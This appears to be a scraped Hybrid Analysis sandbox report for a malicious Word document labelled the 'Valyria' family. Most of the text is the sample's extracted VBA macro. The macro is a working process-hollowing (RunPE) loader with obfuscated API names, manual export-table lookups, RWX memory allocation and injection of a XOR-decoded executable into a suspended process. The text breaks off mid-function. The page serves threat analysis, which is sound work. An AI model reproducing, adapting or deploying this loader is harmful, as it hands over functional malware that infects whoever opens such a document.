24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 2e:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T45f,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Valyria Sample 2fc71184be22… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 2fc71184be22…. Malware family: Valyria. Threat score 100/100. 12/28 AV engines flagged this file. 6 malicious and 5 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df","keywords":["Malicious","Valyria","malware analysis","sandbox report","threat intelligence","2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df"],"about":{"@type":"SoftwareApplication","name":"file.doc","applicationCategory":["doc","office"],"identifier":"2fc71184be22ed1b504b75d7bde6e46caac0bf63a913e7a74c3b65157f9bf1df","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Valyria","antivirusDetections":{"malicious":12,"total":28},"behavioralIndicators":{"malicious":6,"suspicious":5},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T8531,File "ThisDocument.cls" (Streampath: "Macros/VBA/ThisDocument") has code: "" File "NewMacros.bas" (Streampath: "Macros/VBA/NewMacros") has code: "Option Explicit #If Win64 Then Private Declare PtrSafe Function lLib Lib "kernel32.dll" Alias "LoadLibraryA" _ (ByVal lpFileName As String) As LongPtr Private Declare PtrSafe Function getPA Lib "kernel32.dll" _ Alias "GetProcAddress" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr Private Declare PtrSafe Function fLib Lib "kernel32.dll" _ Alias "FreeLibrary" (ByVal hModule As LongPtr) As Long ' Private Declare PtrSafe Sub ByteSwapper Lib "ntdll" Alias "RtlMoveMemory" (ByVal pDest As LongPtr, ByVal pSource As LongPtr, ByVal ByteLen As Long) Private Declare PtrSafe Function dispCF Lib "OleAut32.dll" _ Alias "DispCallFunc" (ByVal pvInstance As Long, _ ByVal oVft As LongPtr, _ ByVal cc As Long, _ ByVal vtReturn As Integer, _ ByVal cActuals As Long, _ ByVal prgvt As LongPtr, _ ByVal prgpvarg As LongPtr, _ ByRef pvargResult As Variant) As Long Private Declare PtrSafe Function GTC Lib "kernel32" Alias "GetTickCount" () As Long Private Declare PtrSafe Sub Slp Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As LongPtr) Private Declare PtrSafe Function ByteSwapper2 Lib "Crypt32.dll" Alias "CryptBinaryToStringA" _ (ByVal pSrc As LongPtr, ByVal dwLen As Long, ByVal dwFlag As Long, ByVal pDest As LongPtr, ByVal pOutLen As LongPtr) As Long #Else Private Declare Function lLib Lib "kernel32.dll" Alias "LoadLibraryA" _ (ByVal lpFileName As String) As Long Private Declare Function getPA Lib "kernel32.dll" _ Alias "GetProcAddress" (ByVal hModule As Long, ByVal lpProcName As String) As Long Private Declare Function fLib Lib "kernel32.dll" _ Alias "FreeLibrary" (ByVal hModule As Long) As Long ' Private Declare Sub ByteSwapper Lib "ntdll" Alias "RtlMoveMemory" (ByVal pDest As Long, ByVal pSource As Long, ByVal ByteLen As Long) Private Declare Function dispCF Lib "OleAut32.dll" _ Alias "DispCallFunc" (ByVal pvInstance As Long, _ ByVal oVft As Long, _ ByVal cc As Long, _ ByVal vtReturn As Integer, _ ByVal cActuals As Long, _ ByVal prgvt As Long, _ ByVal prgpvarg As Long, _ ByRef pvargResult As Variant) As Long Private Declare Function GTC Lib "kernel32" Alias "GetTickCount" () As Long Private Declare Sub Slp Lib "kernel32" Alias "Sleep" (ByVal dwMilliseconds As Long) Private Declare Function ByteSwapper2 Lib "Crypt32.dll" Alias "CryptBinaryToStringA" _ (ByVal pSrc As LongPtr, ByVal dwLen As Long, ByVal dwFlag As Long, ByVal pDest As LongPtr, ByVal pOutLen As LongPtr) As Long #End If Enum tagCALLCONV CC_FASTCALL = 0 CC_CDECL = 1 CC_MSCPASCAL = CC_CDECL + 1 CC_PASCAL = CC_MSCPASCAL CC_MACPASCAL = CC_PASCAL + 1 CC_STDCALL = CC_MACPASCAL + 1 CC_FPFASTCALL = CC_STDCALL + 1 CC_SYSCALL = CC_FPFASTCALL + 1 CC_MPWCDECL = CC_SYSCALL + 1 CC_MPWPASCAL = CC_MPWCDECL + 1 CC_MAX = CC_MPWPASCAL End Enum Private Const IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 Private Const IMAGE_SIZEOF_SHORT_NAME = 8 Private Const MAXIMUM_SUPPORTED_EXTENSION = 512 Private Const SIZE_OF_80387_REGISTERS = 80 #If Win64 Then Private Type M128A Low As LongLong High As LongLong End Type #End If Private Type IMAGE_DOS_HEADER e_magic As Integer e_cblp As Integer e_cp As Integer e_crlc As Integer e_cparhdr As Integer e_minalloc As Integer e_maxalloc As Integer e_ss As Integer e_sp As Integer e_csum As Integer e_ip As Integer e_cs As Integer e_lfarlc As Integer e_ovno As Integer e_res(4 - 1) As Integer e_oemid As Integer e_oeminfo As Integer e_res2(10 - 1) As Integer e_lfanew As Long End Type Private Type IMAGE_DATA_DIRECTORY VirtualAddress As Long Size As Long End Type Private Type IMAGE_FILE_HEADER Machine As Integer NumberOfSections As Integer TimeDateStamp As Long PointerToSymbolTable As Long NumberOfSymbols As Long SizeOfOptionalHeader As Integer Characteristics As Integer End Type Private Type IMAGE_OPTIONAL_HEADER #If Win64 Then Magic As Integer MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long SizeOfInitializedData As Long SizeOfUninitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long ImageBase As LongLong SectionAlignment As Long FileAlignment As Long MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer Win32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long Subsystem As Integer DllCharacteristics As Integer SizeOfStackReserve As LongLong SizeOfStackCommit As LongLong SizeOfHeapReserve As LongLong SizeOfHeapCommit As LongLong LoaderFlags As Long NumberOfRvaAndSizes As Long DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY #Else Magic As Integer MajorLinkerVersion As Byte MinorLinkerVersion As Byte SizeOfCode As Long SizeOfInitializedData As Long SizeOfUninitializedData As Long AddressOfEntryPoint As Long BaseOfCode As Long BaseOfData As Long ImageBase As Long SectionAlignment As Long FileAlignment As Long MajorOperatingSystemVersion As Integer MinorOperatingSystemVersion As Integer MajorImageVersion As Integer MinorImageVersion As Integer MajorSubsystemVersion As Integer MinorSubsystemVersion As Integer Win32VersionValue As Long SizeOfImage As Long SizeOfHeaders As Long CheckSum As Long Subsystem As Integer DllCharacteristics As Integer SizeOfStackReserve As Long SizeOfStackCommit As Long SizeOfHeapReserve As Long SizeOfHeapCommit As Long LoaderFlags As Long NumberOfRvaAndSizes As Long DataDirectory(IMAGE_NUMBEROF_DIRECTORY_ENTRIES - 1) As IMAGE_DATA_DIRECTORY #End If End Type Private Type IMAGE_NT_HEADERS Signature As Long FileHeader As IMAGE_FILE_HEADER OptionalHeader As IMAGE_OPTIONAL_HEADER End Type Private Type IMAGE_EXPORT_DIRECTORY Characteristics As Long TimeDateStamp As Long MajorVersion As Integer MinorVersion As Integer Name As Long Base As Long NumberOfFunctions As Long NumberOfNames As Long AddressOfFunctions As Long AddressOfNames As Long AddressOfNameOrdinals As Long End Type Private Type IMAGE_BASE_RELOCATION VirtualAddress As Long SizeOfBlock As Long End Type Private Type IMAGE_SECTION_HEADER SecName(IMAGE_SIZEOF_SHORT_NAME - 1) As Byte Misc As Long VirtualAddress As Long SizeOfRawData As Long PointerToRawData As Long PointerToRelocations As Long PointerToLinenumbers As Long NumberOfRelocations As Integer NumberOfLinenumbers As Integer Characteristics As Long End Type Private Type PROCESS_INFORMATION hProcess As LongPtr hThread As LongPtr dwProcessId As Long dwThreadId As Long End Type Private Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As LongPtr hStdInput As LongPtr hStdOutput As LongPtr hStdError As LongPtr End Type Private Type FLOATING_SAVE_AREA ControlWord As Long StatusWord As Long TagWord As Long ErrorOffset As Long ErrorSelector As Long DataOffset As Long DataSelector As Long RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte Spare0 As Long End Type Private Type CONTEXT #If Win64 Then P1Home As LongLong P2Home As LongLong P3Home As LongLong P4Home As LongLong P5Home As LongLong P6Home As LongLong ContextFlags As Long MxCsr As Long SegCs As Integer SegDs As Integer SegEs As Integer SegFs As Integer SegGs As Integer SegSs As Integer EFlags As Long Dr0 As LongLong Dr1 As LongLong Dr2 As LongLong Dr3 As LongLong Dr6 As LongLong Dr7 As LongLong Rax As LongLong Rcx As LongLong Rdx As LongLong Rbx As LongLong Rsp As LongLong Rbp As LongLong Rsi As LongLong Rdi As LongLong R8 As LongLong R9 As LongLong R10 As LongLong R11 As LongLong R12 As LongLong R13 As LongLong R14 As LongLong R15 As LongLong Rip As LongLong Header(2 - 1) As M128A Legacy(8 - 1) As M128A Xmm0 As M128A Xmm1 As M128A Xmm2 As M128A Xmm3 As M128A Xmm4 As M128A Xmm5 As M128A Xmm6 As M128A Xmm7 As M128A Xmm8 As M128A Xmm9 As M128A Xmm10 As M128A Xmm11 As M128A Xmm12 As M128A Xmm13 As M128A Xmm14 As M128A Xmm15 As M128A Reserved0(6 - 1) As M128A VectorRegister(26 - 1) As M128A VectorControl As LongLong DebugControl As LongLong LastBranchToRip As LongLong LastBranchFromRip As LongLong LastExceptionToRip As LongLong LastExceptionFromRip As LongLong #Else ContextFlags As Long Dr0 As Long Dr1 As Long Dr2 As Long Dr3 As Long Dr6 As Long Dr7 As Long FloatSave As FLOATING_SAVE_AREA SegGs As Long SegFs As Long SegEs As Long SegDs As Long Edi As Long Esi As Long Ebx As Long Edx As Long Ecx As Long Eax As Long Ebp As Long Eip As Long SegCs As Long EFlags As Long Esp As Long SegSs As Long ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte #End If End Type Private Const MEM_COMMIT = &H1000 Private Const MEM_RESERVE = &H2000 Private Const PAGE_READWRITE = &H4 Private Const PAGE_EXECUTE_READWRITE = &H40 Private Const MAX_PATH = 260 Private Const CREATE_SUSPENDED = &H4 #If Win64 Then Private Const CONTEXT_FULL = &H10000B #Else Private Const CONTEXT_FULL = &H10007 #End If Private Const IMAGE_DOS_SIGNATURE = &H5A4D Private Const IMAGE_NT_SIGNATURE = &H4550 Private Const IMAGE_FILE_MACHINE_I386 = &H14C Private Const IMAGE_FILE_MACHINE_AMD64 = &H8664 Private Const SIZEOF_IMAGE_SECTION_HEADER = 40 Private Const SIZEOF_BASE_RELOCATION = 8 #If Win64 Then Private Const SIZEOF_IMAGE_NT_HEADERS = 264 Private Const SIZEOF_ADDRESS = 8 #Else Private Const SIZEOF_IMAGE_NT_HEADERS = 248 Private Const SIZEOF_ADDRESS = 4 #End If Private pLL As LongPtr Private pRCM As LongPtr Private vParams() As Variant Private iVarTypes() As Integer Private lVarPtrs() As LongPtr Private InitDone As Boolean Private Map1(0 To 63) As Byte Private Map2(0 To 127) As Byte Private varTypeLongPtr As Integer Private Sub mfRCM(ByVal dstAddr As LongPtr, ByVal srcAddr As LongPtr, ByVal dwSize As Long) If pRCM = 0 Then Call ByteSwapper(dstAddr, srcAddr, dwSize) Else Dim outLen As Long Dim flag As Long Dim fRes As Variant outLen = dwSize flag = 2 ReDim vParams(0 To 4) vParams(0) = srcAddr vParams(1) = dwSize vParams(2) = flag vParams(3) = dstAddr vParams(4) = VarPtr(outLen) Call MapPAParams Call dispCF(0, pRCM, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), fRes) End If End Sub Private Function mfLL(szLN As String) As LongPtr Dim llRes As Variant ReDim vParams(0 To 0) vParams(0) = StrPtr(szLN) Call MapPAParams Dim ldcfRes As Long ldcfRes = dispCF(0, pLL, _ tagCALLCONV.CC_STDCALL, varTypeLongPtr, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), llRes) mfLL = llRes End Function Private Sub ByteSwapper(ByVal pDest As LongPtr, ByVal pSrc As LongPtr, ByVal dstLen As Long) Dim outLen As Long outLen = dstLen Call ByteSwapper2(pSrc, dstLen, 2, pDest, VarPtr(outLen)) End Sub Private Function mfGPA(ByVal hModule As Variant, szPN As String, Optional ByVal baseOrdinal As Long = 0) As LongPtr mfGPA = 0 Dim structDOSHeader As IMAGE_DOS_HEADER Call ByteSwapper(VarPtr(structDOSHeader), hModule, 64) Dim structNTHeaders As IMAGE_NT_HEADERS Call ByteSwapper(VarPtr(structNTHeaders), hModule + structDOSHeader.e_lfanew, SIZEOF_IMAGE_NT_HEADERS) Dim etAddr As LongPtr Dim exports As IMAGE_EXPORT_DIRECTORY etAddr = hModule + structNTHeaders.OptionalHeader.DataDirectory(0).VirtualAddress Call ByteSwapper(VarPtr(exports), etAddr, LenB(exports)) Dim i As Long Dim szFName As String Dim dwFNameLen As Long: dwFNameLen = Len(szPN) Dim baFName() As Byte ReDim baFName(0 To dwFNameLen - 1) baFName = StrConv(szPN, vbFromUnicode) Dim szEFName As String For i = baseOrdinal To exports.NumberOfNames - 1 Dim dwFNameOffset As Long Call ByteSwapper(VarPtr(dwFNameOffset), hModule + exports.AddressOfNames + i * 4, 4) Call ByteSwapper(VarPtr(baFName(0)), hModule + dwFNameOffset, dwFNameLen) szEFName = StrConv(baFName, vbUnicode) If LCase(szEFName) = LCase(szPN) Then Dim wOrdinal As Integer Dim dwFOffset As Long Call ByteSwapper(VarPtr(wOrdinal), hModule + exports.AddressOfNameOrdinals + i * 2, 2) Call ByteSwapper(VarPtr(dwFOffset), hModule + exports.AddressOfFunctions + 4 * wOrdinal, 4) mfGPA = hModule + dwFOffset Exit For End If Next i End Function Private Function MapPAParams() ReDim iVarTypes(0 To UBound(vParams)) ReDim lVarPtrs(0 To UBound(vParams)) Dim i As Long For i = 0 To UBound(vParams) iVarTypes(i) = VarType(vParams(i)) lVarPtrs(i) = VarPtr(vParams(i)) Next End Function Private Function RunPE(baImage() As Byte) As Long Dim hKernel32 As LongPtr Dim hCrypt32 As LongPtr Dim hNtdll As LongPtr Dim pGMFN As LongPtr Dim pCP As LongPtr Dim pVAEx As LongPtr Dim pNtTP As LongPtr Dim pNtRVM As LongPtr Dim pNtWVM As LongPtr Dim pNtGCT As LongPtr Dim pNtSCT As LongPtr Dim pNtRT As LongPtr #If Win64 Then varTypeLongPtr = VbVarType.vbLongLong #Else varTypeLongPtr = VbVarType.vbLong #End If hKernel32 = lLib("kernel32.dll") If hKernel32 = 0 Then GoTo EX pLL = mfGPA(hKernel32, DecodeSTR("kSB8MFu0LW81ZaQY")) If pLL = 0 Then GoTo EX Call mfGPA(hKernel32, "zzzz") hNtdll = mfLL(DecodeSTR("szt5OHvzK3E4") & Chr(0)) hCrypt32 = mfLL(DecodeSTR("vj1kJGPufTMwe7E=") & Chr(0)) If hNtdll = 0 Or hCrypt32 = 0 Then GoTo EX pRCM = mfGPA(hCrypt32, DecodeSTR("nj1kJGOfJnM1ZaQbcgdjryZzM1Y=")) pGMFN = mfGPA(hKernel32, DecodeSTR("mippGXi5OnExUbQjeBp2sCpK")) pCP = mfGPA(hKernel32, DecodeSTR("nj14NWO4H287dLg8bgM=")) pNtRT = mfGPA(hNtdll, DecodeSTR("kztPMWSoIngAf68qfDA=")) pNtRVM = mfGPA(hNtdll, DecodeSTR("kztPMXa5GXQmY6gucRlysCBvLQ==")) pNtWVM = mfGPA(hNtdll, DecodeSTR("kztKJn6pKks9Zak6fDhauCJyJm4=")) pNtGCT = mfGPA(hNtdll, DecodeSTR("kztaMWOeIHMgcqU7STxluC55")) pNtSCT = mfGPA(hNtdll, DecodeSTR("kztOMWOeIHMgcqU7STxluC55")) pVAEx = mfGPA(hKernel32, DecodeSTR("iyZvIGK8I1w4e7IsWCw=")) pNtTP = mfGPA(hNtdll, DecodeSTR("kztJMWWwJnM1Y7gfbzt0uDxu")) Call mfGPA(hNtdll, "zzzz") If pRCM = 0 Or pGMFN = 0 Or pCP = 0 Or pNtRT = 0 Or pNtRVM = 0 Or pNtWVM = 0 Or pNtGCT = 0 Or pNtSCT = 0 Or pVAEx = 0 Or pNtTP = 0 Then GoTo EX Dim szCFP As String szCFP = Space(MAX_PATH) Dim rGMFN As Variant Dim curH As LongPtr Dim dwCFPLen As Long: dwCFPLen = MAX_PATH ReDim vParams(0 To 2) vParams(0) = curH vParams(1) = StrPtr(szCFP) vParams(2) = dwCFPLen Call MapPAParams Dim ldcfRes As Long ldcfRes = dispCF(0, pGMFN, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), rGMFN) If ldcfRes <> 0 Or rGMFN = 0 Then GoTo EX szCFP = Left(szCFP, InStr(szCFP, vbNullChar) - 1) Dim exeName As LongPtr Dim cmdLine As String: cmdLine = szCFP Dim attr1 As LongPtr: attr1 = 0 Dim attr2 As LongPtr: attr2 = 0 Dim inhFlag As Boolean Dim crFlag As Long: crFlag = &H4 Dim pEnv As LongPtr Dim pCurDir As LongPtr Dim structProcessInformation As PROCESS_INFORMATION Dim si As STARTUPINFO Dim cpRetVal As Variant ReDim vParams(0 To 9) vParams(0) = exeName vParams(1) = StrPtr(cmdLine) vParams(2) = attr1 vParams(3) = attr2 vParams(4) = inhFlag vParams(5) = crFlag vParams(6) = pEnv vParams(7) = pCurDir vParams(8) = VarPtr(si) vParams(9) = VarPtr(structProcessInformation) Call MapPAParams ldcfRes = dispCF(0, pCP, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), cpRetVal) If ldcfRes <> 0 Or cpRetVal = 0 Then GoTo EX Dim structDOSHeader As IMAGE_DOS_HEADER Call mfRCM(VarPtr(structDOSHeader), VarPtr(baImage(0)), 64) Call DecodeBA(VarPtr(structDOSHeader), 64, 0) Dim structNTHeaders As IMAGE_NT_HEADERS Call mfRCM(VarPtr(structNTHeaders), VarPtr(baImage(structDOSHeader.e_lfanew)), SIZEOF_IMAGE_NT_HEADERS) Call DecodeBA(VarPtr(structNTHeaders), SIZEOF_IMAGE_NT_HEADERS, structDOSHeader.e_lfanew) Dim lNtGetContextThread As Variant Dim structContext As CONTEXT Dim baStructContext() As Byte Dim contOffset As LongPtr Dim pBAStrCont As LongPtr ReDim baStructContext(0 To LenB(structContext) + 16) structContext.ContextFlags = CONTEXT_FULL pBAStrCont = VarPtr(baStructContext(0)) contOffset = (16 - pBAStrCont Mod 16) Mod 16 pBAStrCont = pBAStrCont + contOffset Call mfRCM(pBAStrCont, VarPtr(structContext), LenB(structContext)) ReDim vParams(0 To 1) vParams(0) = structProcessInformation.hThread vParams(1) = pBAStrCont Call MapPAParams ldcfRes = dispCF(0, pNtGCT, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lNtGetContextThread) If ldcfRes <> 0 Or lNtGetContextThread <> 0 Then GoTo EXT Call mfRCM(VarPtr(structContext), pBAStrCont, LenB(structContext)) Dim lProcessImageBase As Variant Dim bRelocateNeeded As Long: bRelocateNeeded = 0 Dim vMemory() As Byte ReDim vMemory(0 To structNTHeaders.OptionalHeader.SizeOfImage) Dim llSize As LongPtr: llSize = structNTHeaders.OptionalHeader.SizeOfImage ReDim vParams(0 To 4) Dim vaType As Long: vaType = MEM_COMMIT + MEM_RESERVE Dim vaProt As Long: vaProt = PAGE_EXECUTE_READWRITE vParams(0) = structProcessInformation.hProcess vParams(1) = structNTHeaders.OptionalHeader.ImageBase vParams(2) = llSize vParams(3) = vaType vParams(4) = vaProt Call MapPAParams ldcfRes = dispCF(0, pVAEx, _ tagCALLCONV.CC_STDCALL, varTypeLongPtr, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lProcessImageBase) If ldcfRes <> 0 Or lProcessImageBase = 0 Then bRelocateNeeded = 1 Dim startAddr As LongPtr: startAddr = 0 vParams(0) = structProcessInformation.hProcess vParams(1) = startAddr vParams(2) = llSize vParams(3) = vaType vParams(4) = vaProt Call MapPAParams ldcfRes = dispCF(0, pVAEx, _ tagCALLCONV.CC_STDCALL, varTypeLongPtr, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lProcessImageBase) If ldcfRes <> 0 Or lProcessImageBase = 0 Then GoTo EXT End If Dim lBaseDelta As LongPtr lBaseDelta = lProcessImageBase - structNTHeaders.OptionalHeader.ImageBase structNTHeaders.OptionalHeader.ImageBase = lProcessImageBase Dim lNtWriteVirtualMemory As Variant Call DecodeBA(VarPtr(baImage(0)), structNTHeaders.OptionalHeader.SizeOfHeaders, 0) Call mfRCM(VarPtr(baImage(structDOSHeader.e_lfanew)), VarPtr(structNTHeaders), SIZEOF_IMAGE_NT_HEADERS) Dim pWVMWritten As LongPtr Call ByteSwapper(VarPtr(vMemory(0)), VarPtr(baImage(0)), structNTHeaders.OptionalHeader.SizeOfHeaders) Dim iCount As Long Dim structSectionHeader As IMAGE_SECTION_HEADER For iCount = 0 To structNTHeaders.FileHeader.NumberOfSections - 1 Call mfRCM(VarPtr(structSectionHeader), VarPtr(baImage(structDOSHeader.e_lfanew + SIZEOF_IMAGE_NT_HEADERS + (iCount * SIZEOF_IMAGE_SECTION_HEADER))), SIZEOF_IMAGE_SECTION_HEADER) Dim lNewAddress As LongPtr: lNewAddress = lProcessImageBase + structSectionHeader.VirtualAddress Dim lSize As LongPtr: lSize = structSectionHeader.SizeOfRawData Call DecodeBA(VarPtr(baImage(0 + structSectionHeader.PointerToRawData)), CLng(lSize), structSectionHeader.PointerToRawData) Call ByteSwapper(VarPtr(vMemory(structSectionHeader.VirtualAddress)), VarPtr(baImage(0 + structSectionHeader.PointerToRawData)), CLng(lSize)) Next iCount If bRelocateNeeded = 1 Then Dim ibr As IMAGE_BASE_RELOCATION Dim ibrOffset As Long Dim count As Long Dim typeOffset As Integer Dim relocOffsetPtr As LongPtr Dim relocOffset As LongPtr ibrOffset = structNTHeaders.OptionalHeader.DataDirectory(5).VirtualAddress Call ByteSwapper(VarPtr(ibr), VarPtr(vMemory(ibrOffset)), LenB(ibr)) Do While ibr.VirtualAddress <> 0 If ibr.SizeOfBlock > SIZEOF_BASE_RELOCATION Then count = (ibr.SizeOfBlock - SIZEOF_BASE_RELOCATION) / 2 For iCount = 0 To count Call ByteSwapper(VarPtr(typeOffset), VarPtr(vMemory(ibrOffset + SIZEOF_BASE_RELOCATION + 2 * iCount)), 2) If typeOffset <> 0 Then typeOffset = typeOffset And &HFFF relocOffsetPtr = VarPtr(vMemory(ibr.VirtualAddress + typeOffset)) Call ByteSwapper(VarPtr(relocOffset), relocOffsetPtr, SIZEOF_ADDRESS) relocOffset = relocOffset + lBaseDelta Call ByteSwapper(relocOffsetPtr, VarPtr(relocOffset), SIZEOF_ADDRESS) End If Next iCount End If ibrOffset = ibrOffset + ibr.SizeOfBlock Call ByteSwapper(VarPtr(ibr), VarPtr(vMemory(ibrOffset)), SIZEOF_BASE_RELOCATION) Loop End If lSize = structNTHeaders.OptionalHeader.SizeOfImage ReDim vParams(0 To 4) vParams(0) = structProcessInformation.hProcess vParams(1) = lProcessImageBase vParams(2) = VarPtr(vMemory(0)) vParams(3) = lSize vParams(4) = VarPtr(pWVMWritten) Call MapPAParams ldcfRes = dispCF(0, pNtWVM, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lNtWriteVirtualMemory) If ldcfRes <> 0 Or lNtWriteVirtualMemory <> 0 Then GoTo EXT #If Win64 Then Dim lAddrLocation As LongPtr: lAddrLocation = structContext.Rdx + 16 #Else Dim lAddrLocation As LongPtr: lAddrLocation = structContext.Ebx + 8 #End If Dim lAddressSize As LongPtr: lAddressSize = SIZEOF_ADDRESS ReDim vParams(0 To 4) vParams(0) = structProcessInformation.hProcess vParams(1) = lAddrLocation vParams(2) = VarPtr(structNTHeaders.OptionalHeader.ImageBase) vParams(3) = lAddressSize vParams(4) = VarPtr(pWVMWritten) Call MapPAParams ldcfRes = dispCF(0, pNtWVM, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lNtWriteVirtualMemory) If ldcfRes <> 0 Or lNtWriteVirtualMemory <> 0 Then GoTo EXT Dim lEntryPoint As LongPtr: lEntryPoint = lProcessImageBase + structNTHeaders.OptionalHeader.AddressOfEntryPoint #If Win64 Then structContext.Rcx = lEntryPoint #Else structContext.Eax = lEntryPoint #End If Dim lNtSetContextThread As Variant Call mfRCM(pBAStrCont, VarPtr(structContext), LenB(structContext)) ReDim vParams(0 To 1) vParams(0) = structProcessInformation.hThread vParams(1) = pBAStrCont Call MapPAParams ldcfRes = dispCF(0, pNtSCT, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lNtSetContextThread) If ldcfRes <> 0 Or lNtSetContextThread <> 0 Then GoTo EXT Dim lNtResumeThread As Long Dim pSusCount As LongPtr ReDim vParams(0 To 1) vParams(0) = structProcessInformation.hThread vParams(1) = pSusCount Call MapPAParams ldcfRes = dispCF(0, pNtRT, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), lNtResumeThread) If ldcfRes <> 0 Or lNtResumeThread <> 0 Then GoTo EXT RunPE = 1 GoTo EX EXT: Dim tpRetVal As Variant ReDim vParams(0 To 0) vParams(0) = structProcessInformation.hProcess Call MapPAParams ldcfRes = dispCF(0, pNtTP, _ tagCALLCONV.CC_STDCALL, VbVarType.vbLong, _ UBound(vParams) + 1, VarPtr(iVarTypes(0)), VarPtr(lVarPtrs(0)), tpRetVal) RunPE = 0 EX: If hKernel32 <> 0 Then fLib hKernel32 End If If hNtdll <> 0 Then fLib hNtdll End If End Function Private Sub DecryptBA2(ByRef pData() As Byte, dataLen As Long, offset As Long) Dim i As Long Dim RyRudJIp(5) As Byte Dim dKeyLen As Long dKeyLen = 5 RyRudJIp(0) = 221 RyRudJIp(1) = 79 RyRudJIp(2) = 29 RyRudJIp(3) = 84 RyRudJIp(4) = 23 For i = 0 To dataLen - 1 pData(i) = pData(i) Xor RyRudJIp((i + offset) Mod dKeyLen) Next i End Sub Private Sub DecodeBA(pData As Variant, dataLen As Long, offset As Long) Dim i As Long Dim pBA() As Byte ReDim pBA(dataLen) As Byte Dim RyRudJIp(5) As Byte Dim dKeyLen As Long dKeyLen = 5 RyRudJIp(0) = 221 RyRudJIp(1) = 79 RyRudJIp(2) = 29 RyRudJIp(3) = 84 RyRudJIp(4) = 23 Call mfRCM(VarPtr(pBA(0)), pData, dataLen) For i = 0 To dataLen - 1 pBA(i) = pBA(i) Xor RyRudJIp((i + offset) Mod dKeyLen) Next i Call mfRCM(pData, VarPtr(pBA(0)), dataLen) End Sub Private Sub Init() Dim c As Integer, i As Integer ' set Map1 i = 0 For c = Asc("A") To Asc("Z"): Map1(i) = c: i = i + 1: Next For c = Asc("a") To Asc("z"): Map1(i) = c: i = i + 1: Next For c = Asc("0") To Asc("9"): Map1(i) = c: i = i + 1: Next Map1(i) = Asc("+"): i = i + 1 Map1(i) = Asc("/"): i = i + 1 ' set Map2 For i = 0 To 127: Map2(i) = 255: Next For i = 0 To 63: Map2(Map1(i)) = i: Next InitDone = True End Sub Private Function ConvertStringToBytes(ByVal s As String) As Byte() Dim b1() As Byte: b1 = s Dim l As Long: l = (UBound(b1) + 1) \ 2 If l = 0 Then ConvertStringToBytes = b1: Exit Function Dim b2() As Byte ReDim b2(0 To l - 1) As Byte Dim p As Long For p = 0 To l - 1 Dim c As Long: c = b1(2 * p) + 256 * CLng(b1(2 * p + 1)) If c >= 256 Then c = Asc("?") b2(p) = c Next ConvertStringToBytes = b2 End Function Private Function Base64Decode(ByVal s As String) As Byte() If Not InitDone Then Init Dim IBuf() As Byte: IBuf = ConvertStringToBytes(s) Dim ILen As Long: ILen = UBound(IBuf) + 1 If ILen Mod 4 <> 0 Then Err.Raise vbObjectError, , "L" Do While ILen > 0 If IBuf(ILen - 1) <> Asc("=") Then Exit Do ILen = ILen - 1 Loop Dim OLen As Long: OLen = (ILen * 3) \ 4 Dim Out() As Byte ReDim Out(0 To OLen - 1) As Byte Dim ip As Long Dim op As Long Do While ip < ILen Dim i0 As Byte: i0 